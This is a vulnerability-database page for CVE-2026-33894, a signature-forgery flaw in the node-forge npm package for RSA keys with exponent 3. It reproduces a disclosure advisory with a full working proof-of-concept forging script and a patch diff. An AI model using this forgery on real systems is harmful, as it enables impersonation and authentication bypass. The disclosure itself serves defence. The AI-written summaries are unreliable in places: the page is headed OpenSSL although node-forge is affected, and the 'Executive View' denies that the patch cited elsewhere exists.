OpenSSL
CVE-2026-33894
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker crafts forged signature with garbage bytes
-
DeliveryInsert malicious padding in ASN structure
-
ExploitSubmit signature to low-exponent (e=3) RSA key
-
ExecutionSignature verification accepts forged signature
-
ImpactAttacker impersonates legitimate signer
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | Remote unauthenticated attacker can forge RSASSA PKCS#1 v1.5 signatures against systems using low public exponent keys (e=3). No special configuration or victim interaction required. Affects any application validating signatures with vulnerable implementations of PKCS#1 v1.5. |
| Impact | Real-world risk is moderate to high depending on deployment context. The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N indicates network-accessible attack with low complexity requiring no privileges or user interaction, but impact is limited to integrity (signature bypass). Critical risk factors: exploitation requires target systems use RSA keys with e=3 (uncommon in modern deployments favoring e=65537), and attackers must control message content being signed. The detailed proof-of-concept significantly lowers exploitation barriers for qualified attackers. No EPSS score provided in input data. No CISA KEV listing indicates no confirmed active exploitation. However, the attack is automatable against vulnerable configurations and requires no user interaction. SSVC assessment: exploitation status is proof-of-concept, technical impact is partial (authentication bypass in affected contexts), automatable is yes. Priority depends heavily on whether downstream applications use low-exponent keys - most production systems use e=65537 making this lower priority, but legacy systems or improperly configured deployments face genuine risk. The availability of working POC code and clear patch guidance increases urgency for affected deployments. |
| Exploit ScenarioDerived | An attacker targeting a web application that uses node-forge for JWT signature verification with RSA e=3 keys crafts a malicious JWT token containing forged signature bytes constructed via cube-root interval arithmetic and ASN.1 structure injection. The attacker submits this token to authentication endpoints where forge's lenient verification accepts the forged signature as valid, granting unauthorized access to protected resources. The proof-of-concept demonstrates this attack completes successfully with forge accepting the forgery while OpenSSL-based verification correctly rejects it, confirming the differential behavior attackers can exploit in real deployments. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 26, 2026
Signature forgery in node-forge npm package (all versions through v1.3.3) allows remote attackers to bypass RSASSA PKCS#1 v1.5 signature verification for RSA keys using low public exponent (e=3). Attackers can construct Bleichenbacher-style forged signatures by injecting malicious ASN.1 content within DigestInfo structures and exploiting missing padding length validation, enabling authentication bypass in systems relying on forge for cryptographic verification. Proof-of-concept code demonstrates successful forgery against forge while OpenSSL correctly rejects the same signature. CVSS score 7.5 (High) with network attack vector, low complexity, and no privileges required. No public exploit identified at time of analysis beyond the research POC.
RemediationAI
Apply the vendor-provided patch that enforces two critical validations: minimum 8-byte padding length check in _decodePkcs1_v1_5 function and canonical DigestInfo structure validation requiring exactly 2 ASN.1 fields in the parsed object. The patch is available at https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp with specific code changes provided in the advisory diff. Until patching is completed, organizations should audit RSA key configurations and migrate any keys using e=3 to standard e=65537 public exponent, which significantly increases the computational difficulty of Bleichenbacher-style forgeries. For applications where immediate patching is not feasible, implement additional signature verification using a secondary library (such as Node.js crypto with OpenSSL backend) to provide defense-in-depth against forged signatures. Review RFC 8017 and RFC 2313 specifications at https://www.rfc-editor.org/rfc/rfc8017.html and https://datatracker.ietf.org/doc/html/rfc2313#section-8 for proper PKCS#1 v1.5 implementation requirements.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability affects node-forge (pkg:npm/node-forge), a JavaScript cryptography library implementing RSA signature operations. The flaw resides in lib/rsa.js within the RSASSA PKCS#1 v1.5 signature verification path. Two implementation defects enable forgery: First, the _decodePkcs1_v1_5 function fails to enforce RFC 2313's requirement for minimum 8-byte padding (PS >= 8), despite comments acknowledging this requirement. Second, the ASN.1 parser in key.verify accepts non-canonical DigestInfo structures containing attacker-controlled extra ASN.1 fields (CWE-20: Improper Input Validation). While the _parseAllDigestBytes setting ensures all bytes are parsed, it does not validate canonical structure shape. Attackers exploiting keys with e=3 can use cube-root interval arithmetic to construct signature blocks containing injected OCTET STRING fields that pass forge's lenient validation while legitimate implementations (OpenSSL) correctly reject them. This represents a variant of CVE-2022-24771 with a different injection vector inside rather than outside ASN.1 structures.
Know when OpenSSL gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Primary rating from Vendor (https://github.com/digitalbazaar/forge).
CVSS VectorVendor: https://github.com/digitalbazaar/forge
Lifecycle Timeline
2DescriptionCVE.org
Summary
RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.
Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries.
Impacted Deployments
Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and recent prior versions.
Configuration assumptions:
- Invoke key.verify with defaults (default
schemeuses RSASSA-PKCS1-v1_5). _parseAllDigestBytes: true(default setting).
Root Cause
In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (_decodePkcs1_v1_5), parses ASN.1, and compares capture.digest to the provided digest.
Two issues are present with this logic:
- Strict DER byte-consumption (
_parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it. _decodePkcs1_v1_5comments mention that PS < 8 bytes should be rejected, but does not implement this logic.
Reproduction Steps
- Use Node.js (tested with
v24.9.0) and clonedigitalbazaar/forgeat commit8e1d527fe8ec2670499068db783172d4fb9012e5. - Place and run the PoC script (
repro_min.js) withnode repro_min.jsin the same level as theforgefolder. - The script generates a fresh RSA keypair (
4096bits,e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction. - The script verifies both signatures with:
- forge verify (
_parseAllDigestBytes: true), and - Node/OpenSSL verify (
crypto.verifywithRSA_PKCS1_PADDING).
- Confirm output includes:
control-forge-strict: truecontrol-node: trueforgery (forge library, strict): trueforgery (node/OpenSSL): false
Proof of Concept
Overview:
- Demonstrates a valid control signature and a forged signature in one run.
- Uses strict forge parsing mode explicitly (
_parseAllDigestBytes: true, also forge default). - Uses Node/OpenSSL as an differential verification baseline.
- Observed output on tested commit:
control-forge-strict: true
control-node: true
forgery (forge library, strict): true
forgery (node/OpenSSL): false<details><summary>repro_min.js</summary>
#!/usr/bin/env node
'use strict';
const crypto = require('crypto');
const forge = require('./forge/lib/index');
// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
// SEQUENCE { OID sha256, NULL },
// OCTET STRING <32-byte digest>
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
'300d060960864801650304020105000420',
'hex'
);
const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
function toBuf(n, len) {
let h = n.toString(16);
if (h.length % 2) h = '0' + h;
const b = Buffer.from(h, 'hex');
return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
let lo = 0n;
let hi = 1n;
while (hi * hi * hi <= n) hi <<= 1n;
while (lo + 1n < hi) {
const mid = (lo + hi) >> 1n;
if (mid * mid * mid <= n) lo = mid;
else hi = mid;
}
return lo;
}
const cbrtCeil = n => {
const f = cbrtFloor(n);
return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
if (len < 0x80) return Buffer.from([len]);
if (len <= 0xff) return Buffer.from([0x81, len]);
return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
}
function forgeStrictVerify(publicPem, msg, sig) {
const key = forge.pki.publicKeyFromPem(publicPem);
const md = forge.md.sha256.create();
md.update(msg.toString('utf8'), 'utf8');
try {
// verify(digestBytes, signatureBytes, scheme, options):
// - digestBytes: raw SHA-256 digest bytes for `msg`
// - signatureBytes: binary-string representation of the candidate signature
// - scheme: undefined => default RSASSA-PKCS1-v1_5
// - options._parseAllDigestBytes: require DER parser to consume all bytes
// (this is forge's default for verify; set explicitly here for clarity)
return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
} catch (err) {
return { ok: false, err: err.message };
}
}
function main() {
const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
modulusLength: 4096,
publicExponent: 3,
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
});
const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
const nBytes = Buffer.from(jwk.n, 'base64url');
const n = toBig(nBytes);
const e = toBig(Buffer.from(jwk.e, 'base64url'));
if (e !== 3n) throw new Error('expected e=3');
const msg = Buffer.from('forged-message-0', 'utf8');
const digest = crypto.createHash('sha256').update(msg).digest();
const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);
// Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
const k = nBytes.length;
// ffCount can be set to any value at or below 111 and produce a valid signature.
// ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
// However, current versions of node forge do not check for this.
// Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
const ffCount = 0;
// `garbageLen` affects DER length field sizes, which in turn affect how
// many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
// A small cap (8) is enough here: DER length-size transitions are discrete
// and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
let garbageLen = 0;
for (let i = 0; i < 8; i += 1) {
const gLenEnc = derLen(garbageLen).length;
const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
const seqLenEnc = derLen(seqLen).length;
const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
const next = k - fixed;
if (next === garbageLen) break;
garbageLen = next;
}
const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
const prefix = Buffer.concat([
Buffer.from([0x00, 0x01]),
Buffer.alloc(ffCount, 0xff),
Buffer.from([0x00]),
Buffer.from([0x30]), derLen(seqLen),
algAndDigest,
Buffer.from([0x04]), derLen(garbageLen)
]);
// Build the numeric interval of all EM values that start with `prefix`:
// - `low` = prefix || 00..00
// - `high` = one past (prefix || ff..ff)
// Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
const suffixLen = k - prefix.length;
const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
const high = low + (1n << BigInt(8 * suffixLen));
const s = cbrtCeil(low);
if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');
const sig = toBuf(s, k);
const controlMsg = Buffer.from('control-message', 'utf8');
const controlSig = crypto.sign('sha256', controlMsg, {
key: privateKey,
padding: crypto.constants.RSA_PKCS1_PADDING
});
// forge verification calls (library under test)
const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
const forgedForge = forgeStrictVerify(publicKey, msg, sig);
// Node.js verification calls (OpenSSL-backed reference behavior)
const controlNode = crypto.verify('sha256', controlMsg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, controlSig);
const forgedNode = crypto.verify('sha256', msg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, sig);
console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
console.log('control-node:', controlNode);
console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
console.log('forgery (node/OpenSSL):', forgedNode);
}
main();</details>
Suggested Patch
- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (
PS >= 8) in_decodePkcs1_v1_5before accepting the block. - Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).
Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:
index b207a63..ec8a9c1 100644
--- a/lib/rsa.js
+++ b/lib/rsa.js
@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
error.errors = errors;
throw error;
}
+
+ if(obj.value.length != 2) {
+ var error = new Error(
+ 'DigestInfo ASN.1 object must contain exactly 2 fields for ' +
+ 'a valid RSASSA-PKCS1-v1_5 package.');
+ error.errors = errors;
+ throw error;
+ }
// check hash algorithm identifier
// see PKCS1-v1-5DigestAlgorithms in RFC 8017
// FIXME: add support to validator for strict value choices
@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
}
++padNum;
}
+
+ if (padNum < 8) {
+ throw new Error('Encryption block is invalid.');
+ }
} else if(bt === 0x02) {
// look for 0x00 byte
padNum = 0;Resources
- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8
- > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition.
- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html
lib/rsa.jskey.verify(...)at lines ~1139-1223.lib/rsa.js_decodePkcs1_v1_5(...)at lines ~1632-1695.
Credit
This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
Blast Radius
ecosystem impact- 184 npm packages depend on node-forge (77 direct, 109 indirect)
Ecosystem-wide dependent count for version 1.4.0.
Executive ViewAI
The node-forge npm package (versions ≤1.3.3) contains a critical cryptographic validation flaw that allows attackers to forge RSA signatures and bypass authentication controls in any system using this library for signature verification. Organizations relying on node-forge for cryptographic operations-including API authentication, code signing, or certificate validation-face immediate risk of unauthorized access and impersonation without code changes or deployment of compensating controls.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Replace node-forge signature verification with OpenSSL-backed libraries or native Node.js crypto module, which correctly reject forged signatures; (2) Disable RSA signature verification features if not business-critical; (3) Network segmentation: restrict access to systems performing signature verification to trusted internal networks only; (4) Cryptographic monitoring: log and alert on signature verification failures; (5) Require high public exponents (e≥65537) if forge usage cannot be immediately eliminated. Code-level remediation (library replacement) is the only durable control.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Affected Products (CPE)CVE.org
The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe
In order to decrypt SM2 encrypted data an application is expected to call the API function EVP_PKEY_decrypt(). Rated cri
The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se
The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k
In addition to the c_rehash shell command injection identified in CVE-2022-1292, further circumstances where the c_rehas
The TLS protocol 1.2 and earlier, when a DHE_EXPORT ciphersuite is enabled on a server but not on a client, does not pro
The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak
The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a
The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly
A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig
GHSA-ppp5-5v6c-4jwp
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB